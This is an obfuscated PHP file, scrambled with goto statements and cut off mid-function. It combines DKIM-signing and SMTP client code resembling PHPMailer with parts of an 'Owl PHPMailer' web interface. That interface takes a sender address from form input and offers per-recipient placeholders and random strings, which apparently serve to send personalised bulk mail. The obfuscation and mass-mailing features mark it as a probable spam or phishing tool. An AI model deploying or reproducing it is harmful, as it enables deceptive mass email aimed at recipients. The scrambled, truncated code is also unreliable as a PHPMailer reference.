goto Gl8Gf; ATsQQ: if (strpos($header, "To:") === 0) { goto Yfkkv; } goto qg_E8; hNbbd: } goto ucnLL; kUICi: $DKIMtime = time(); goto YIifm; rahly: $DKIMsignatureType = "rsa-sha256"; goto Yyldi; kqgGy: $signed = $this->DKIM_Sign($toSign); goto ZuUvx; I5pTT: hNlZI: goto JhG6O; EsH5j: $from = str_replace("|", "=7C", $this->DKIM_QP($from_header)); goto Prvq3; tT1zt: $extraCopyHeaderFields = ''; goto W6EvT; HgjqZ: waT1t: goto elrWt; TqTvO: $extraHeaderValues = ''; goto tT1zt; rqiU6: if (!$this->DKIM_copyHeaderFields) { goto waT1t; } goto EsH5j; P5Ly5: if ('' == $this->DKIM_identity) { goto hNlZI; } goto VvlLH; rPwNH: $DKIMb64 = base64_encode(pack("H*", hash("sha256", $body))); goto P5Ly5; Yyldi: $DKIMcanonicalization = "relaxed/simple"; goto Vqab5; VwGPt: $headers = explode(static::$LE, $headers_line); goto fc9He; ZuUvx: return static::normalizeBreaks($dkimhdrs . $signed) . static::$LE; goto UwgrR; NzMcU: $foundExtraHeaders = []; goto tKoL_; q3cO0: $copiedHeaderFields = ''; goto NzMcU; GJuwp: $to_header = ''; goto K6EnI; YIifm: $subject_header = "Subject: {$subject}"; goto VwGPt; JhG6O: $ident = ''; goto f5d8M; elrWt: $body = $this->DKIM_BodyC($body); goto MhgA8; Vqab5: $DKIMquery = "dns/txt"; goto kUICi; Fz6qs: K422y: goto rqiU6; Prvq3: $to = str_replace("|", "=7C", $this->DKIM_QP($to_header)); goto JuDPn; mrz6r: $dkimhdrs = "DKIM-Signature: v=1; a=" . $DKIMsignatureType . "; q=" . $DKIMquery . "; l=" . $DKIMlen . "; s=" . $this->DKIM_selector . ";\xd\xa" . "\x9t=" . $DKIMtime . "; c=" . $DKIMcanonicalization . ";
" . " h=From:To:Date:Subject" . $extraHeaderKeys . ";\xd
" . " d=" . $this->DKIM_domain . ";" . $ident . "
\xa" . $copiedHeaderFields . " bh=" . $DKIMb64 . ";
\xa" . " b="; goto nfobZ; K6EnI: $date_header = ''; goto T5M3H; fc9He: $from_header = ''; goto GJuwp; XjGGl: goto XOPbf; goto I5pTT; o0uLv: foreach ($foundExtraHeaders as $key => $value) { goto OnYVY; qbJqc: if (!$this->DKIM_copyHeaderFields) { goto gyRlU; } goto B9V1u; PHaGj: $extraHeaderValues .= $value . "
\xa"; goto qbJqc; BsbuS: gyRlU: goto tOB7L; OnYVY: $extraHeaderKeys .= ":" . $key; goto PHaGj; B9V1u: $extraCopyHeaderFields .= " |" . str_replace("|", "=7C", $this->DKIM_QP($value)) . ";\xd\xa"; goto BsbuS; tOB7L: mCmAZ: goto ynJ7C; ynJ7C: } goto Fz6qs; MhgA8: $DKIMlen = strlen($body); goto rPwNH; nfobZ: $toSign = $this->DKIM_HeaderC($from_header . "\xd
" . $to_header . "
\xa" . $date_header . "\xd
" . $subject_header . "
" . $extraHeaderValues . $dkimhdrs); goto kqgGy; T5M3H: $current = ''; goto q3cO0; UwgrR: } public static function hasLineLongerThanMax($str) { return (bool) preg_match("/^(.{" . (self::MAX_LINE_LENGTH + strlen(static::$LE)) . ",})/m", $str); } public function getToAddresses() { return $this->to; } public function getCcAddresses() { return $this->cc; } public function getBccAddresses() { return $this->bcc; } public function getReplyToAddresses() { return $this->ReplyTo; } public function getAllRecipientAddresses() { return $this->all_recipients; } protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from, $extra) { goto iS62s; iS62s: if (!(!empty($this->action_function) and is_callable($this->action_function))) { goto YaIvQ; } goto hhJI5; hhJI5: call_user_func($this->action_function, $isSent, $to, $cc, $bcc, $subject, $body, $from, $extra); goto Dbd1W; Dbd1W: YaIvQ: goto rqcge; rqcge: } public function getOAuth() { return $this->oauth; } public function setOAuth(OAuth $oauth) { $this->oauth = $oauth; } } goto u70ey; RUBRo: $messageLetter = preg_replace("/%5C%22/", "%22", $messageLetter); goto MHk87; p8kfk: $GLOBALS["emailPriority"] = stripslashes($emailPriority); goto IiWyC; Dkjib: session_start(); goto VEuIy; U3CBH: $GLOBALS["senderEmail"] = owlTrim($_POST["senderEmail"]); goto sBXff; WXoUm: bSVjw: goto FsfbP; qtZyt: echo ")</li>\xa <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>\xa <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
<li>[-randomnumber-] : <b>Random number (0-9) </b></li>
<li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
<li>[-randommd5-] : <b>Random MD5 </b></li>\xa </ul>\xa <h4>example</h4>\xa Reciver Email = <b>[email protected]</b><br>
<ul>
<li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
<li>your code is <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
</ul>\xa <h6>by <b><a href="http://"; goto LnxQB; khAQm: echo "<!DOCTYPE html>
<html lang="en">\xa<head>\xa <meta charset="utf-8">\xa <meta http-equiv="X-UA-Compatible" content="IE = edge">\xa <meta name="viewport" content="width = device-width, initial-scale = 1">\xa <title>Owl PHPMailer "; goto RwtFE; XrfMY: $altMessageLetter = urldecode($altMessageLetter); goto rToZd; ZvHun: processEmailSendingRequest(); goto snwvY; tjNyb: $altMessageLetter = preg_replace("/%5C%22/", "%22", $altMessageLetter); goto XrfMY; u70ey: class SMTP { const VERSION = "6.0.7"; const LE = "
"; const DEFAULT_PORT = 25; const MAX_LINE_LENGTH = 998; const DEBUG_OFF = 0; const DEBUG_CLIENT = 1; const DEBUG_SERVER = 2; const DEBUG_CONNECTION = 3; const DEBUG_LOWLEVEL = 4; public $do_debug = self::DEBUG_OFF; public $Debugoutput = "echo"; public $do_verp = false; public $Timeout = 300; public $Timelimit = 300; protected $smtp_transaction_id_patterns = array("exim" => "/[\d]{3} OK id=(.*)/", "sendmail" => "/[\d]{3} 2.0.0 (.*) Message/", "postfix" => "/[\d]{3} 2.0.0 Ok: queued as (.*)/", "Microsoft_ESMTP" => "/[0-9]{3} 2.[\d].0 (.*)@(?:.*) Queued mail for delivery/", "Amazon_SES" => "/[\d]{3} Ok (.*)/", "SendGrid" => "/[\d]{3} Ok: queued as (.*)/", "CampaignMonitor" => "/[\d]{3} 2.0.0 OK:([a-zA-Z\d]{48})/"); protected $last_smtp_transaction_id; protected $smtp_conn; protected $error = array("error" => '', "detail" => '', "smtp_code" => '', "smtp_code_ex" => ''); protected $helo_rply = null; protected $server_caps = null; protected $last_reply = ''; protected function edebug($str, $level = 0) { goto QjbkA; XO4aO: call_user_func($this->Debugoutput, $str, $level); goto Q5Dc_; wbabF: AV2gt: goto BNNUN; FICGb: YSRRo: goto JeJVP; SFE0b: $this->Debugoutput->debug($str); goto OYSF2; kJGYc: k4a6m: goto S3gNl; QjbkA: if (!($level > $this->do_debug)) { goto qgBJI; } goto WzVIv; OYSF2: return; goto wbabF; Q5Dc_: return; goto kJGYc; TUa8i: if (!$this->Debugoutput instanceof \Psr\Log\LoggerInterface) { goto AV2gt; } goto SFE0b; WzVIv: return; goto g1njV; g1njV: qgBJI: goto TUa8i; JeJVP: qxsMZ: goto JIpqq; BNNUN: if (!(!in_array($this->Debugoutput, ["error_log", "html", "echo"]) and is_callable($this->Debugoutput))) { goto k4a6m; } goto XO4aO; S3gNl: switch ($this->Debugoutput) { case "error_log": error_log($str); goto qxsMZ; case "html": echo gmdate("Y-m-d H:i:s"), " ", htmlentities(preg_replace("/[\r\n]+/", '', $str), ENT_QUOTES, "UTF-8"), "<br>
"; goto qxsMZ; case "echo": default: $str = preg_replace("/\r\n|\r/ms", "\xa", $str); echo gmdate("Y-m-d H:i:s"), " ", trim(str_replace("
", "\xa ", trim($str))), "
"; } goto FICGb; JIpqq: } public function connect($host, $port = null, $timeout = 30, $options = array()) { goto ulYSd; lgMdn: @set_time_limit($timeout); goto Q4h7E; nVRHh: restore_error_handler(); goto oIX88; pAKQ2: restore_error_handler(); goto fdr8P; uHL8a: set_error_handler([$this, "errorHandler"]); goto NwNIo; fdr8P: goto pCgcW; goto A8ShO; UB6zG: $errstr = ''; goto wZvuV; NwNIo: $this->smtp_conn = fsockopen($host, $port, $errno, $errstr, $timeout); goto pAKQ2; soqxw: Bp1D3: goto mdQWT; mY_i3: if (!$this->connected()) { goto KywlE; } goto OJVTi; PYNqO: $socket_context = stream_context_create($options); goto cG9iM; iGykf: Xg7pQ: goto Lnjup; ZnlQg: return false; goto iGykf; oJMkX: if (is_resource($this->smtp_conn)) { goto Xg7pQ; } goto Bw1Jd; KYcqk: stream_set_timeout($this->smtp_conn, $timeout, 0); goto q3hgj; lhvcd: if (!(substr(PHP_OS, 0, 3) != "WIN")) { goto TmJA_; } goto U_UeN; A8ShO: mY4yu: goto PYNqO; VZ3Y0: return true; goto GVmeW; LgmNF: $this->edebug("SERVER -> CLIENT: " . $announce, self::DEBUG_SERVER); goto VZ3Y0; NJGyw: $this->edebug("Connection: stream_socket_client not available, falling back to fsockopen", self::DEBUG_CONNECTION); goto uHL8a; q3qHo: hRZDA: goto hBUed; IPEFF: if (!empty($port)) { goto hRZDA; } goto TLR1Q; g3yHb: if (!(0 != $max and $timeout > $max)) { goto yoUa3; } goto lgMdn; hBN1I: $this->edebug("SMTP ERROR: " . $this->error["error"] . ": {$errstr} ({$errno})", self::DEBUG_CLIENT); goto ZnlQg; hBUed: $this->edebug("Connection: opening to {$host}:{$port}, timeout={$timeout}, options=" . (count($options) > 0 ? var_export($options, true) : "array()"), self::DEBUG_CONNECTION); goto VCYei; ulYSd: static $streamok; goto TOgeK; ovRdv: KywlE: goto IPEFF; oIX88: pCgcW: goto oJMkX; Bw1Jd: $this->setError("Failed to connect to server", '', (string) $errno, (string) $errstr); goto hBN1I; OJVTi: $this->setError("Already connected to a server"); goto FMvZO; wZvuV: if ($streamok) { goto mY4yu; } goto NJGyw; Fkj5I: $streamok = function_exists("stream_socket_client"); goto soqxw; cG9iM: set_error_handler([$this, "errorHandler"]); goto xe4GC; VCYei: $errno = 0; goto UB6zG; FMvZO: return false; goto ovRdv; Q4h7E: yoUa3: goto KYcqk; xe4GC: $this->smtp_conn = stream_socket_client($host . ":" . $port, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $socket_context); goto nVRHh; TOgeK: if (!(null === $streamok)) { goto Bp1D3; } goto Fkj5I; Lnjup: $this->edebug("Connection: opened", self::DEBUG_CONNECTION); goto lhvcd; U_UeN: $max = ini_get("max_execution_time"); goto g3yHb; ZukIt: $announce = $this->get_lines(); goto LgmNF; mdQWT: $this->setError(''); goto mY_i3; q3hgj: TmJA_: goto ZukIt; TLR1Q: $port = self::DEFAULT_PORT; goto q3qHo; GVmeW: } public function startTLS() { goto QfWCv; lUebl: $crypto_ok = stream_socket_enable_crypto($this->smtp_conn, true, $crypto_method); goto Jzwaz; hjJxo: if (!defined("STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT")) { goto BVTnL; } goto e2cm2; VaS17: $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT; goto v45Ra; N6yCi: return false; goto gkNsw; QfWCv: if ($this->sendCommand("STARTTLS", "STARTTLS", 220)) { goto F8yOm; } goto N6yCi; e2cm2: $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; goto VaS17; Q2iEA: set_error_handler([$this, "errorHandler"]); goto lUebl; gkNsw: F8yOm: goto zEepi; zEepi: $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT; goto hjJxo; HlECM: return (bool) $crypto_ok; goto Qa0GZ; v45Ra: BVTnL: goto Q2iEA; Jzwaz: restore_error_handler(); goto HlECM; Qa0GZ: } public function authenticate($username, $password, $authtype = null, $OAuth = null) { goto PeFYj; j9TbI: zQ3PV: goto k72RM; QCP5P: $this->setError("The requested authentication method "{$authtype}" is not supported by the server"); goto Du4fI; XB68i: return false; goto CIOkB; CeBHR: self::edebug("Auth method selected: " . $authtype, self::DEBUG_LOWLEVEL); goto AATgA; S4V8Z: $this->edebug("Requested auth method not available: " . $authtype, self::DEBUG_LOWLEVEL); goto U0N0O; wIaD5: if (empty($authtype)) { goto vQRjp; } goto yEWqy; FKdkC: $this->setError("No supported authentication methods found"); goto XB68i; yEWqy: goto CutXi; goto Wug77; gLmM6: $authtype = "LOGIN"; goto hZBPf; r2FnF: $this->setError("Authentication is not allowed at this stage"); goto XwhVB; yF08p: G8HNL: goto rWu__; BnAbe: $this->setError("Authentication is not allowed before HELO/EHLO"); goto m8R96; pG1dv: foreach (["CRAM-MD5", "LOGIN", "PLAIN", "XOAUTH2"] as $method) { goto n4_fz; n4_fz: if (!in_array($method, $this->server_caps["AUTH"])) { goto cRAly; } goto VLST_; N6utl: goto zQ3PV; goto ALvLN; AAKdb: oBm6j: goto mRMTS; VLST_: $authtype = $method; goto N6utl; ALvLN: cRAly: goto AAKdb; mRMTS: } goto j9TbI; PeFYj: if ($this->server_caps) { goto XPJs4; } goto BnAbe; qbfxb: $this->edebug("Auth methods available on the server: " . implode(",", $this->server_caps["AUTH"]), self::DEBUG_LOWLEVEL); goto I3IoA; eAdjb: vQRjp: goto gLmM6; U0N0O: $authtype = null; goto nyHDj; hZBPf: CutXi: goto lLkPs; CIOkB: eSLju: goto CeBHR; K4yaV: goto CutXi; goto eAdjb; I3IoA: if (!(null !== $authtype and !in_array($authtype, $this->server_caps["AUTH"]))) { goto xGBEc; } goto S4V8Z; l84cC: if (array_key_exists("AUTH", $this->server_caps)) { goto G8HNL; } goto r2FnF; Wug77: a3GvA: goto l84cC; tHMwk: if (!empty($authtype)) { goto MV9wn; } goto pG1dv; nyHDj: xGBEc: goto tHMwk; k72RM: if (!empty($authtype)) { goto eSLju; } goto FKdkC; m8R96: return false; goto yJWbA; rWu__: $this->edebug("Auth method requested: " . ($authtype ? $authtype : "UNSPECIFIED"), self::DEBUG_LOWLEVEL); goto qbfxb; VUTfn: if (in_array($authtype, $this->server_caps["AUTH"])) { goto jwCEX; } goto QCP5P; wSjw2: jwCEX: goto K4yaV; lLkPs: switch ($authtype) { case "PLAIN": goto blCpA; Pk9uD: hFhNI: goto kY3G1; MSnYb: return false; goto vWWzD; ojUfV: return false; goto Pk9uD; vWWzD: mxI6G: goto wN9L5; kY3G1: if ($this->sendCommand("User & Password", base64_encode("\0" . $username . "\0" . $password), 235)) { goto mxI6G; } goto MSnYb; blCpA: if ($this->sendCommand("AUTH", "AUTH PLAIN", 334)) { goto hFhNI; } goto ojUfV; wN9L5: goto fv35i; goto Xr6cC; Xr6cC: case "LOGIN": goto QJSHF; XGIuy: if ($this->sendCommand("Password", base64_encode($password), 235)) { goto Ixo5z; } goto Fbero; oISHK: return false; goto P3EoO; P3EoO: i2fxx: goto XGIuy; Fbero: return false; goto tCE2W; zBqFq: if ($this->sendCommand("Username", base64_encode($username), 334)) { goto i2fxx; } goto oISHK; YMzVU: goto fv35i; goto eqBD6; dEM8a: D7WL1: goto zBqFq; xfQw_: return false; goto dEM8a; tCE2W: Ixo5z: goto YMzVU; QJSHF: if ($this->sendCommand("AUTH", "AUTH LOGIN", 334)) { goto D7WL1; } goto xfQw_; eqBD6: case "CRAM-MD5": goto SkeHr; WNX5_: $challenge = base64_decode(substr($this->last_reply, 4)); goto Gd3XB; mvz0j: ka9Sw: goto WNX5_; ZP8R0: return $this->sendCommand("Username", base64_encode($response), 235); goto W2X1Q; SkeHr: if ($this->sendCommand("AUTH CRAM-MD5", "AUTH CRAM-MD5", 334)) { goto ka9Sw; } goto HUrIj; HUrIj: return false; goto mvz0j; Gd3XB: $response = $username . " " . $this->hmac($challenge, $password); goto ZP8R0; W2X1Q: case "XOAUTH2": goto BONgN; dJdk_: hLuB9: goto U8S1l; kPlid: return false; goto dJdk_; UzKyI: if ($this->sendCommand("AUTH", "AUTH XOAUTH2 " . $oauth, 235)) { goto hLuB9; } goto kPlid; cysCu: $oauth = $OAuth->getOauth64(); goto UzKyI; dQVCh: jQv4n: goto cysCu; BONgN: if (!(null === $OAuth)) { goto jQv4n; } goto Kur_i; Kur_i: return false; goto dQVCh; U8S1l: goto fv35i; goto m6kAi; m6kAi: default: $this->setError("Authentication method "{$authtype}" is not supported"); return false; } goto Z0Lc5; yJWbA: XPJs4: goto R5QQ6; R5QQ6: if (array_key_exists("EHLO", $this->server_caps)) { goto a3GvA; } goto wIaD5; LBLmC: fv35i: goto mkUxm; mkUxm: return true; goto eiQDm; Z0Lc5: oSfeJ: goto LBLmC; XwhVB: return false; goto yF08p; AATgA: MV9wn: goto VUTfn; Du4fI: return false; goto wSjw2; eiQDm: } protected function hmac($data, $key) { goto wls63; R6N_n: $key = str_pad($key, $bytelen, chr(0x0)); goto fHtQ9; o852Z: WqGzU: goto BzLzY; wls63: if (!function_exists("hash_hmac")) { goto WqGzU; } goto wjllN; fHtQ9: $ipad = str_pad('', $bytelen, chr(0x36)); goto ZlVcF; AZZTY: return md5($k_opad . pack("H*", md5($k_ipad . $data))); goto lnIkd; IXx54: $k_opad = $key ^ $opad; goto AZZTY; r_SKV: oJaIY: goto R6N_n; wkUdT: $k_ipad = $key ^ $ipad; goto IXx54; EYUSh: $key = pack("H*", md5($key)); goto r_SKV; ZlVcF: $opad = str_pad('', $bytelen, chr(0x5c)); goto wkUdT; BzLzY: $bytelen = 64; goto XytZ3; wjllN: return hash_hmac("md5", $data, $key); goto o852Z; XytZ3: if (!(strlen($key) > $bytelen)) { goto oJaIY; } goto EYUSh; lnIkd: } public function connected() { goto bac4G; kECCj: $this->edebug("SMTP NOTICE: EOF caught while checking if connected", self::DEBUG_CLIENT); goto SPB9R; bac4G: if (!is_resource($this->smtp_conn)) { goto PHYzi; } goto x_9Zi; OTf5T: PHYzi: goto fflRl; x_9Zi: $sock_status = stream_get_meta_data($this->smtp_conn); goto cIwua; IxKW3: TzYDB: goto U8zyo; cIwua: if (!$sock_status["eof"]) { goto TzYDB; } goto kECCj; U8zyo: return true; goto OTf5T; fflRl: return false; goto HEnNO; SPB9R: $this->close(); goto eP5ac; eP5ac: return false; goto IxKW3; HEnNO: } public function close() { goto HNq_B; ZCV3Q: fclose($this->smtp_conn); goto GGlwc; Sjnfp: $this->server_caps = null; goto TqULr; mCujb: $this->edebug("Connection: closed", self::DEBUG_CONNECTION); goto SFW9g; TqULr: $this->helo_rply = null; goto pnn4R; GGlwc: $this->smtp_conn = null; goto mCujb; pnn4R: if (!is_resource($this->smtp_conn)) { goto nTWOI; } goto ZCV3Q; HNq_B: $this->setError(''); goto Sjnfp; SFW9g: nTWOI: goto krbRJ; krbRJ: } public function data($msg_data) { goto pz_A0; JpFWW: $this->Timelimit = $this->Timelimit * 2; goto wBiJR; OrnqM: return false; goto Dalh_; B9wgZ: if (!(!empty($field) and strpos($field, " ") === false)) { goto KH4y_; } goto PZqZr; VJ90D: foreach ($lines as $line) { goto uCrhP; cT78K: $lines_out[] = substr($line, 0, $pos); goto pvqC8; uCrhP: $lines_out = []; goto S1CRk; OjVg8: goto gITW3; goto Rbiyu; pvqC8: $line = substr($line, $pos); goto xZIwD; B6m50: saomi: goto A4n2y; wstLB: WDUe6: goto xSM7o; Ht_6Q: if (!$pos) { goto QHnFn; } goto ai04M; dtom3: W8W3o: goto EH101; S1CRk: if (!($in_headers and $line == '')) { goto WDUe6; } goto GHYVA; xSM7o: YGFi5: goto aDaZO; eLWg9: emNDf: goto dtom3; ai04M: $lines_out[] = substr($line, 0, $pos); goto tdmai; MSmB7: $lines_out[] = $line; goto ni8u1; aFaLH: $pos = self::MAX_LINE_LENGTH - 1; goto cT78K; xZIwD: gITW3: goto RXfkg; kDHoW: $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), " "); goto Ht_6Q; ni8u1: foreach ($lines_out as $line_out) { goto Tujow; vvG9S: $this->client_send($line_out . static::LE, "DATA"); goto eBCtP; ZdFGr: lR25O: goto vvG9S; eBCtP: O7FWA: goto nipX7; Tujow: if (!(!empty($line_out) and $line_out[0] == ".")) { goto lR25O; } goto EzVdX; EzVdX: $line_out = "." . $line_out; goto ZdFGr; nipX7: } goto eLWg9; aDaZO: if (!isset($line[self::MAX_LINE_LENGTH])) { goto wPYBu; } goto kDHoW; S3OVC: $line = "\x9" . $line; goto B6m50; A4n2y: goto YGFi5; goto LMlwQ; LMlwQ: wPYBu: goto MSmB7; GHYVA: $in_headers = false; goto wstLB; RXfkg: if (!$in_headers) { goto saomi; } goto S3OVC; tdmai: $line = substr($line, $pos + 1); goto OjVg8; Rbiyu: QHnFn: goto aFaLH; EH101: } goto vXLGJ; Dalh_: qxS0K: goto QyPoe; vXLGJ: lXmDz: goto b1pXu; wBiJR: $result = $this->sendCommand("DATA END", ".", 250); goto vMAjQ; CS4_s: $in_headers = false; goto B9wgZ; pz_A0: if ($this->sendCommand("DATA", "DATA", 354)) { goto qxS0K; } goto OrnqM; PZqZr: $in_headers = true; goto ARPWJ; gN5qO: return $result; goto Nah7f; ARPWJ: KH4y_: goto VJ90D; b1pXu: $savetimelimit = $this->Timelimit; goto JpFWW; Rhg3b: $field = substr($lines[0], 0, strpos($lines[0], ":")); goto CS4_s; AHaXx: $this->Timelimit = $savetimelimit; goto gN5qO; QyPoe: $lines = explode("\xa", str_replace(["
\xa", "
"], "\xa", $msg_data)); goto Rhg3b; vMAjQ: $this->recordLastTransactionID(); goto AHaXx; Nah7f: } public function hello($host = '') { return $this->sendHello("EHLO", $host) or $this->sendHello("HELO", $host); } protected function sendHello($hello, $host) { goto Dcp3K; l2eOm: HYibL: goto tJO3f; Dcp3K: $noerror = $this->sendCommand($hello, $hello . " " . $host, 250); goto MNAWm; CHAfB: $this->server_caps = null; goto qReTP; cmSUa: if ($noerror) { goto cgvcp; } goto CHAfB; yhBDO: cgvcp: goto WvUWB; MNAWm: $this->helo_rply = $this->last_reply; goto cmSUa; qReTP: goto HYibL; goto yhBDO; tJO3f: return $noerror; goto jllAE; WvUWB: $this->parseHelloFields($hello); goto l2eOm; jllAE: } protected function parseHelloFields($type) { goto hUYiN; hUYiN: $this->server_caps = []; goto hx7T7; hx7T7: $lines = explode("\xa", $this->helo_rply); goto jWsio; jWsio: foreach ($lines as $n => $s) { goto nLnhf; uQVDs: oHD1a: goto FKCfU; FKCfU: sB05a: goto Km2ro; s3nt_: if (empty($fields)) { goto oHD1a; } goto nwIWj; gS9Iy: ls3Ng: goto ZJAh3; zkn2c: l6XoZ: goto ZwD7t; lZRjy: XKVUL: goto hJehu; hJehu: $name = $type; goto NdY12; YuzVh: Khsuy: goto zkn2c; fK71w: eWNJr: goto JbV31; b7bEW: $name = array_shift($fields); goto PY1GY; hF5kN: if (!empty($s)) { goto eWNJr; } goto vH9Cv; JbV31: $fields = explode(" ", $s); goto s3nt_; NdY12: $fields = $fields[0]; goto gS9Iy; vH9Cv: goto sB05a; goto fK71w; nwIWj: if (!$n) { goto XKVUL; } goto b7bEW; PY1GY: switch ($name) { case "SIZE": $fields = $fields ? $fields[0] : 0; goto l6XoZ; case "AUTH": goto R3R5f; eOOHY: goto l6XoZ; goto Tidxh; Px8u1: b9umu: goto eOOHY; E7gVd: $fields = []; goto Px8u1; R3R5f: if (is_array($fields)) { goto b9umu; } goto E7gVd; Tidxh: default: $fields = true; } goto YuzVh; ZwD7t: goto ls3Ng; goto lZRjy; nLnhf: $s = trim(substr($s, 4)); goto hF5kN; ZJAh3: $this->server_caps[$name] = $fields; goto uQVDs; Km2ro: } goto CQrci; CQrci: hEjt6: goto qQBsx; qQBsx: } public function mail($from) { $useVerp = $this->do_verp ? " XVERP" : ''; return $this->sendCommand("MAIL FROM", "MAIL FROM:<" . $from . ">" . $useVerp, 250); } public function quit($close_on_error = true) { goto rjgzZ; FF5vs: if (!($noerror or $close_on_error)) { goto RbVs8; } goto Qhlw8; YaoS3: $this->error = $err; goto q_36E; zjm2_: $err = $this->error; goto FF5vs; rjgzZ: $noerror = $this->sendCommand("QUIT", "QUIT", 221); goto zjm2_; q_36E: RbVs8: goto zNzQL; Qhlw8: $this->close(); goto YaoS3; zNzQL: return $noerror; goto b0yLr; b0yLr: } public function recipient($address, $dsn = '') { goto W7Bb1; f6fz6: LeQow: goto OwoUT; glGPG: $notify = []; goto qTdRG; Xv2BZ: eZBbX: goto k2GiD; I7EDJ: foreach (["SUCCESS", "FAILURE", "DELAY"] as $value) { goto GnrrH; c7xSX: NYy8J: goto QT8ZK; GnrrH: if (!(strpos($dsn, $value) !== false)) { goto NYy8J; } goto a8rKZ; QT8ZK: F1P_u: goto Po2wC; a8rKZ: $notify[] = $value; goto c7xSX; Po2wC: } goto VQTj5; n6_x_: goto LeQow; goto y2R3R; qTdRG: if (strpos($dsn, "NEVER") !== false) { goto cxt3r; } goto I7EDJ; IipGM: $rcpt = "RCPT TO:<" . $address . ">"; goto f6fz6; qnqsM: goto eZBbX; goto iRUl_; iRUl_: cxt3r: goto XFD3H; k2GiD: $rcpt = "RCPT TO:<" . $address . "> NOTIFY=" . implode(",", $notify); goto n6_x_; VQTj5: rD2J5: goto qnqsM; y2R3R: CPrFA: goto IipGM; Jc87s: $dsn = strtoupper($dsn); goto glGPG; XFD3H: $notify[] = "NEVER"; goto Xv2BZ; OwoUT: return $this->sendCommand("RCPT TO", $rcpt, [250, 251]); goto ERD7j; W7Bb1: if (empty($dsn)) { goto CPrFA; } goto Jc87s; ERD7j: } public function reset() { return $this->sendCommand("RSET", "RSET", 250); } protected function sendCommand($command, $commandstring, $expect) { goto yJUDH; G6yaM: $this->setError(''); goto vD05q; yyTID: if (!(strpos($commandstring, "
") !== false or strpos($commandstring, "\xd") !== false)) { goto LZJlD; } goto iLBYi; ZhSev: $this->last_reply = $this->get_lines(); goto rRs_I; yJUDH: if ($this->connected()) { goto v4aIB; } goto MXlhc; X2xM9: LZJlD: goto YZ0SZ; IenFc: UmtpM: goto KTicq; h0pX4: $code_ex = count($matches) > 2 ? $matches[2] : null; goto UnCaR; UnCaR: $detail = preg_replace("/{$code}[ -]" . ($code_ex ? str_replace(".", "\.", $code_ex) . " " : '') . "/m", '', $this->last_reply); goto p0lDZ; MXlhc: $this->setError("Called {$command} without being connected"); goto BR2pJ; OWw7Q: return false; goto X2xM9; YZ0SZ: $this->client_send($commandstring . static::LE, $command); goto ZhSev; KTicq: $code = $matches[1]; goto h0pX4; xrf5J: v4aIB: goto yyTID; xsS5B: $code_ex = null; goto Q3ILO; huFvb: if (preg_match("/^([0-9]{3})[ -](?:([0-9]\.[0-9]\.[0-9]{1,2}) )?/", $this->last_reply, $matches)) { goto UmtpM; } goto tq2vK; hEIa8: $this->edebug("SMTP ERROR: " . $this->error["error"] . ": " . $this->last_reply, self::DEBUG_CLIENT); goto yxeSi; W4Mho: $this->setError("{$command} command failed", $detail, $code, $code_ex); goto hEIa8; p0lDZ: D8RDJ: goto icHve; OCJUN: if (in_array($code, (array) $expect)) { goto dFami; } goto W4Mho; BR2pJ: return false; goto xrf5J; tq2vK: $code = substr($this->last_reply, 0, 3); goto xsS5B; Qnf63: dFami: goto G6yaM; Q3ILO: $detail = substr($this->last_reply, 4); goto v0wTD; icHve: $this->edebug("SERVER -> CLIENT: " . $this->last_reply, self::DEBUG_SERVER); goto OCJUN; iLBYi: $this->setError("Command '{$command}' contained line breaks"); goto OWw7Q; vD05q: return true; goto fLJhx; v0wTD: goto D8RDJ; goto IenFc; rRs_I: $matches = []; goto huFvb; yxeSi: return false; goto Qnf63; fLJhx: } public function sendAndMail($from) { return $this->sendCommand("SAML", "SAML FROM:{$from}", 250); } public function verify($name) { return $this->sendCommand("VRFY", "VRFY {$name}", [250, 251]); } public function noop() { return $this->sendCommand("NOOP", "NOOP", 250); } public function turn() { goto aifCp; aifCp: $this->setError("The SMTP TURN command is not implemented"); goto sCSyL; sCSyL: $this->edebug("SMTP NOTICE: " . $this->error["error"], self::DEBUG_CLIENT); goto aYlEu; aYlEu: return false; goto pEg1V; pEg1V: } public function client_send($data, $command = '') { goto VtDNP; IB6S2: $this->edebug("CLIENT -> SERVER: " . $data, self::DEBUG_CLIENT); goto awOaa; pflT0: $result = fwrite($this->smtp_conn, $data); goto ocrUi; UgAxd: $this->edebug("CLIENT -> SERVER: <credentials hidden>", self::DEBUG_CLIENT); goto kg6Rj; XqZ5C: set_error_handler([$this, "errorHandler"]); goto pflT0; kg6Rj: ZHp9G: goto XqZ5C; DItqA: return $result; goto Q7msM; awOaa: goto ZHp9G; goto L_oka; VtDNP: if (self::DEBUG_LOWLEVEL > $this->do_debug and in_array($command, ["User & Password", "Username", "Password"], true)) { goto oBLyu; } goto IB6S2; L_oka: oBLyu: goto UgAxd; ocrUi: restore_error_handler(); goto DItqA; Q7msM: } public function getError() { return $this->error; } public function getServerExtList() { return $this->server_caps; } public function getServerExt($name) { goto WXcFd; bJjmb: return $this->server_caps[$name]; goto gKlBA; J1q8w: $this->setError("No HELO/EHLO was sent"); goto zlLCP; PCXgM: return $this->server_caps["EHLO"]; goto FNkqc; TnXN8: return; goto fIzSa; WXcFd: if ($this->server_caps) { goto c0rej; } goto J1q8w; qzl99: if (!("HELO" == $name)) { goto OOeQJ; } goto PCXgM; qy8r1: F_chh: goto N78nO; zlLCP: return; goto IN98t; tYw6o: return false; goto qy8r1; fIzSa: SuH3P: goto bJjmb; SEBVU: if (array_key_exists($name, $this->server_caps)) { goto SuH3P; } goto qzl99; GPjKH: if (!("EHLO" == $name || array_key_exists("EHLO", $this->server_caps))) { goto F_chh; } goto tYw6o; IN98t: c0rej: goto SEBVU; N78nO: $this->setError("HELO handshake was used; No information about server extensions available"); goto TnXN8; FNkqc: OOeQJ: goto GPjKH; gKlBA: } public function getLastReply() { return $this->last_reply; } protected function get_lines() { goto ObIaZ; fdbjJ: return ''; goto 